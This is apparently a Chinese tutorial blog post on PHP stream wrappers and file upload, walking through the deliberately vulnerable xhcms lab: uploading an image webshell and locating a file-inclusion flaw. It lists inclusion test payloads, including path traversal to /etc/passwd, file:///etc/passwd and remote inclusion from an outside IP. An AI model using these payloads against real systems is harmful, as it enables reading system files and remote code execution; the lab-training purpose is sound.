w24文件上传之PHP伪协议

PHP支持的伪协议

file:// - 访问本地文件系统
http:// - 访问网址
ftp:// - 访问文件
php:// -访问各个输入/输出流
zlib:// -压缩流
data:// - 数据
glob:// -查找匹配的文件路径模式
phar:// - php归档
ssh2:// - Secure shell 2
rar:// - RAR
ogg:// - 音频流
expect:// - 处理交互式的流

各协议的利用条件和方法

在这里插入图片描述

熊海靶场安装(xhcms)

安装环境

burp2024
phpstudy 5.3.29nts+apache
火狐浏览器(谷歌浏览器不能找到文件包含漏洞)

1.创建网站
在这里插入图片描述
2.安装靶场

在这里插入图片描述
3.输入正确的数据库用户名和密码,自动导入,此时php的版本不要太高,不能选择7.x以上的本吧。选择5.2~5.3的版本即可,否则页面的内容展示不了。
在这里插入图片描述
4.在发布文章,有图片的上传点,开始爆破。
在这里插入图片描述
5.上传一个包含phpinfo的图片马,返回文件上传后的路径/upload/watermark/20581706431088.gif
在这里插入图片描述
6.成功上传,要解析图片马,需要找到文件包含漏洞,根据文件包含的特征,匹配网站内的请求

文件包含漏洞的特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://192.168.189.78/1.txt
http://1.1.1.1/../../../../dir/file.txt

在首页的美国时间,找到的文件包含漏洞,该路径包含了ustime.php文件。

在这里插入图片描述

7.拼接请求
在这里插入图片描述

相关推荐

  1. php文件

    2024-01-31 04:06:03       22 阅读
  2. PHP协议详解

    2024-01-31 04:06:03       47 阅读
  3. PHP协议详解

    2024-01-31 04:06:03       47 阅读
  4. PHP 协议详解

    2024-01-31 04:06:03       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-31 04:06:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-31 04:06:03       101 阅读
  3. 在Django里面运行非项目文件

    2024-01-31 04:06:03       82 阅读
  4. Python语言-面向对象

    2024-01-31 04:06:03       91 阅读

热门阅读

  1. HarmonyOS ArkUI基础学习02

    2024-01-31 04:06:03       53 阅读
  2. MySQL的InnoDB引擎 在不同 SQL 语句中设置的锁

    2024-01-31 04:06:03       63 阅读
  3. 缓存

    2024-01-31 04:06:03       65 阅读
  4. SaaS介绍

    2024-01-31 04:06:03       62 阅读
  5. 1.30学习总结

    2024-01-31 04:06:03       46 阅读
  6. NSSCTF Round17 Reverse & Crypto WriteUp(全)

    2024-01-31 04:06:03       40 阅读
  7. Tomcat

    2024-01-31 04:06:03       56 阅读
  8. 英语的历史

    2024-01-31 04:06:03       63 阅读
  9. 正则表达式

    2024-01-31 04:06:03       47 阅读